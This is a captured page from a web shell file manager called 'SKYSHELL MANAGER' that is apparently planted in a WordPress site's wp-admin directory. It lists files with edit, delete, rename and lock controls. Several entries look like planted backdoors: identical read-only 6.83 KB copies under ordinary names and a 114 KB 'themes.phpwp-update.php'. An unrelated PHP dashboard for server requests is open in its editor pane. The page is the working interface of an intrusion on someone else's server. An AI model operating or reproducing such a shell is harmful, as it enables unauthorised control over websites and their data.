📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: existing-server-requirement.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // Ensure user is logged in if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } $user = $_SESSION['user']; $user_role = strtolower(trim($user['role'] ?? 'user')); // Define Role Flags (Crucial for Sidebar Condition) $isAdmin = ($user_role === 'admin'); $isManagement = in_array($user_role, ['management', 'admin']); $isManager = ($user_role === 'manager'); $isSales = in_array($user_role, ['sales', 'sales team']); $isServerTeam = in_array($user_role, ['server_team', 'server team']); $isUser = ($user_role === 'user'); // Page-Level Guard: Block Sales & Server Team from accessing this page if ($isSales || $isServerTeam) { $_SESSION['error'] = "You do not have permission to access the Server Requirement page."; header("Location: new-server-status.php"); exit(); } // ---------------------------------------------------- // FETCH COMPANY FROM USER'S ACCESS CONTROL / PERMISSIONS // ---------------------------------------------------- $userCompany = $user['company'] ?? ''; if (empty($userCompany)) { $userId = (int)($user['id'] ?? 0); // Query permissions table for this user $permQuery = mysqli_query($conn, "SELECT companies FROM user_permissions WHERE user_id = {$userId} LIMIT 1"); if ($permQuery && $permRow = mysqli_fetch_assoc($permQuery)) { $allowedCompanies = json_decode($permRow['companies'] ?? '[]', true); if (!empty($allowedCompanies)) { // If "All" is assigned if ($allowedCompanies[0] === 'All') { $compDbQuery = mysqli_query($conn, "SELECT name FROM companies WHERE status = 'Active' ORDER BY id ASC LIMIT 1"); if ($compDbRow = mysqli_fetch_assoc($compDbQuery)) { $userCompany = ucfirst($compDbRow['name']); } else { $userCompany = 'Default Company'; } } else { // Use the first company assigned in Access Control $userCompany = ucfirst($allowedCompanies[0]); } } } } // Fallback if still empty if (empty($userCompany)) { $userCompany = 'Default Company'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($_SESSION['user']['company_name'] ?? 'Dashboard'); ?> | Server Requirement</title> <link rel="icon" type="image/x-icon" href="<?php echo htmlspecialchars($_SESSION['user']['fav']); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="company" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">MAIN</div> <!-- ================= 1. SERVER REQUIREMENT DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between" href="#menuRequirement" data-bs-toggle="collapse" role="button" aria-expanded="false" aria-controls="menuRequirement"> <span><i class="bi bi-file-earmark-plus me-2"></i>New Server</span> </a> <div class="collapse submenu-wrap ps-3" id="menuRequirement"> <?php if (!$isSales && !$isServerTeam): ?> <a href="new-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <?php endif; ?> <a href="new-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 2. SERVER STATUS DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between active" href="#menuStatus" data-bs-toggle="collapse" role="button" aria-expanded="true" aria-controls="menuStatus"> <span><i class="bi bi-list-check me-2"></i>Existing Server</span> </a> <div class="collapse show submenu-wrap ps-3" id="menuStatus"> <?php if (!$isSales && !$isServerTeam): ?> <a href="existing-server-requirement.php" class="nav-link submenu-link subactive"> Requirement </a> <?php endif; ?> <a href="existing-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 3. MANAGEMENT ================= --> <?php if($isManagement || $isAdmin): ?> <div class="sidebar-section-label mt-3">MANAGEMENT</div> <a href="manage-users.php" class="nav-link"><i class="bi bi-people me-2"></i> Manage Users</a> <?php endif; ?> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center text-muted"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar d-flex justify-content-between align-items-center"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary d-md-none"><i class="bi bi-list"></i></button> <div> <div class="fw-bold fs-5">Server Requirement</div> <div class="breadcrumb-mini text-muted small">Dashboard / Server Requirement</div> </div> </div> <div class="d-flex align-items-center gap-3"> <div class="dropdown"> <button class="btn btn-light dropdown-toggle d-flex align-items-center gap-2 border" type="button" data-bs-toggle="dropdown" aria-expanded="false"> <i class="bi bi-person-circle text-primary fs-5"></i> <span class="fw-semibold small"><?php echo htmlspecialchars($user['username'] ?? 'User'); ?></span> </button> <ul class="dropdown-menu dropdown-menu-end shadow-sm border-0"> <li> <a class="dropdown-item text-danger d-flex align-items-center gap-2" href="logout.php"> <i class="bi bi-box-arrow-right"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content p-4"> <!-- Flash Notifications --> <?php if(isset($_SESSION['success'])): ?> <div class="alert alert-success alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-check-circle-fill me-2"></i> <?php echo $_SESSION['success']; unset($_SESSION['success']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; ?> <?php if(isset($_SESSION['error'])): ?> <div class="alert alert-danger alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-exclamation-triangle-fill me-2"></i> <?php echo $_SESSION['error']; unset($_SESSION['error']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; ?> <div class="row g-4"> <!-- Main Form Section --> <div class="col-lg-8"> <div class="card-panel"> <div class="card-panel-head d-flex justify-content-between align-items-center mb-3"> <h6 class="fw-bold mb-0"><i class="bi bi-plus-circle me-2 text-primary"></i>New Server Requirement</h6> <span class="text-muted small">Fields marked <span class="text-danger">*</span> are required</span> </div> <div class="card-panel-body"> <form action="existing_requirement_submit.php" method="post" id="existingReqForm"> <!-- Requester Details --> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-person-badge me-1"></i> Requester Details</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Buyer Name <span class="text-danger">*</span></label> <input type="text" name="username" class="form-control bg-light" value="<?php echo htmlspecialchars($user['username'] ?? ''); ?>" readonly> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Company <span class="text-danger">*</span></label> <input type="text" name="company" class="form-control bg-light" value="<?php echo htmlspecialchars($userCompany ?? ''); ?>" readonly> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Department <span class="text-danger">*</span></label> <select name="department" id="department" class="form-select" required> <option value="">Select Department</option> <option value="Production">Production</option> <option value="Technical">Technical</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Team <span class="text-danger">*</span></label> <select name="team" id="team" class="form-select" required> <option value="">Select Team</option> </select> </div> </div> <!-- Server Details --> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-hdd-rack me-1"></i> Server Details</h6> <div class="row g-3 mb-4"> <div class="col-md-4"> <label class="form-label fw-semibold small">Class <span class="text-danger">*</span></label> <select name="class" id="classSelect" class="form-select" required> <option value="">Select Class</option> <option value="Bigclass">Big Class</option> <option value="Smallclass">Small Class</option> </select> </div> <div class="col-md-4"> <label class="form-label fw-semibold small">Alias <span class="text-danger">*</span></label> <select name="server_alias" id="aliasSelect" class="form-select" required disabled> <option value="">Select Class First</option> </select> </div> <div class="col-md-4"> <label class="form-label fw-semibold small">Action <span class="text-danger">*</span></label> <select name="server_action" id="actionSelect" class="form-select" required> <option value="">Select Action</option> <option value="Return">Return</option> <option value="Renewal">Renewal</option> <option value="Swap">Swap</option> </select> </div> </div> <!-- Priority & Timeline Section --> <div id="timelineSection" style="display: none;"> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-flag me-1"></i> Priority & Timeline</h6> <div class="row g-3 mb-4"> <!-- Priority Field --> <div class="col-md-6" id="priorityWrapper" style="display: none;"> <label class="form-label fw-semibold small">Priority</label> <select name="priority" id="priorityInput" class="form-select"> <option value="">Select Priority</option> <option value="immediate">Immediate</option> <option value="billing_cycle">Billing Cycle</option> </select> </div> <!-- Required Date Field --> <div class="col-md-6" id="requiredDateWrapper" style="display: none;"> <label class="form-label fw-semibold small">Required By Date</label> <input type="date" name="required_by" id="requiredDateInput" class="form-control" min="<?php echo date('Y-m-d'); ?>"> </div> <!-- Notes Field --> <div class="col-12"> <label class="form-label fw-semibold small">Additional Short Notes / Justification</label> <textarea name="notes" class="form-control" rows="3" placeholder="Describe the purpose of this action..."></textarea> </div> </div> </div> <!-- Action Buttons --> <div class="d-flex gap-2 mt-4"> <button type="submit" class="btn btn-primary px-4"><i class="bi bi-send me-1"></i> Submit Requirement</button> <button type="reset" class="btn btn-outline-secondary px-4" id="btnResetForm">Clear Form</button> </div> </form> </div> </div> </div> </div> </div> </div> <!-- JavaScript Logic --> <script> const teams = { Production: ["Yahoo", "AOL", "Hotmail", "Cables", "Others"], Technical: ["CNAME", "Redirection", "Database", "Others"] }; const department = document.getElementById("department"); const teamSelect = document.getElementById("team"); department.addEventListener("change", function () { const selectedDepartment = this.value; teamSelect.innerHTML = '<option value="">Select Team</option>'; if (teams[selectedDepartment]) { teams[selectedDepartment].forEach(function(team) { const option = document.createElement("option"); option.value = team; option.textContent = team; teamSelect.appendChild(option); }); } }); document.addEventListener("DOMContentLoaded", function () { const classSelect = document.getElementById("classSelect"); const aliasSelect = document.getElementById("aliasSelect"); const actionSelect = document.getElementById("actionSelect"); const timelineSection = document.getElementById("timelineSection"); const priorityWrapper = document.getElementById("priorityWrapper"); const priorityInput = document.getElementById("priorityInput"); const requiredDateWrapper = document.getElementById("requiredDateWrapper"); const requiredDateInput = document.getElementById("requiredDateInput"); const btnResetForm = document.getElementById("btnResetForm"); // Alias Options Data Array (You can customize or populate from PHP DB) const aliasData = { "Bigclass": ["Bigclass Alias 01", "Bigclass Alias 02", "Bigclass Alias 03"], "Smallclass": ["Smallclass Alias 01", "Smallclass Alias 02", "Smallclass Alias 03"] }; // 1. CLASS CHANGED -> UPDATE ALIAS OPTIONS classSelect.addEventListener("change", function () { const selectedClass = this.value; aliasSelect.innerHTML = '<option value="">Select Alias</option>'; if (selectedClass && aliasData[selectedClass]) { aliasSelect.disabled = false; aliasData[selectedClass].forEach(function (aliasItem) { const option = document.createElement("option"); option.value = aliasItem; option.textContent = aliasItem; aliasSelect.appendChild(option); }); } else { aliasSelect.disabled = true; aliasSelect.innerHTML = '<option value="">Select Class First</option>'; } }); // 2. ACTION CHANGED -> SHOW/HIDE PRIORITY & REQUIRED DATE actionSelect.addEventListener("change", function () { const actionVal = this.value; // Reset visibility and required attributes timelineSection.style.display = "block"; priorityWrapper.style.display = "none"; priorityInput.removeAttribute("required"); requiredDateWrapper.style.display = "none"; requiredDateInput.removeAttribute("required"); if (actionVal === "Return") { // Return: Show priority, Hide required date priorityWrapper.style.display = "block"; } else if (actionVal === "Renewal") { // Renewal: Hide priority, Hide required date // Timeline section remains open for notes } else if (actionVal === "Swap") { // Swap: Hide priority, Show required date requiredDateWrapper.style.display = "block"; requiredDateInput.setAttribute("required", "required"); } else { timelineSection.style.display = "none"; } }); // Reset Form Handler btnResetForm.addEventListener("click", function () { setTimeout(() => { aliasSelect.disabled = true; aliasSelect.innerHTML = '<option value="">Select Class First</option>'; timelineSection.style.display = "none"; priorityWrapper.style.display = "none"; requiredDateWrapper.style.display = "none"; }, 10); }); }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save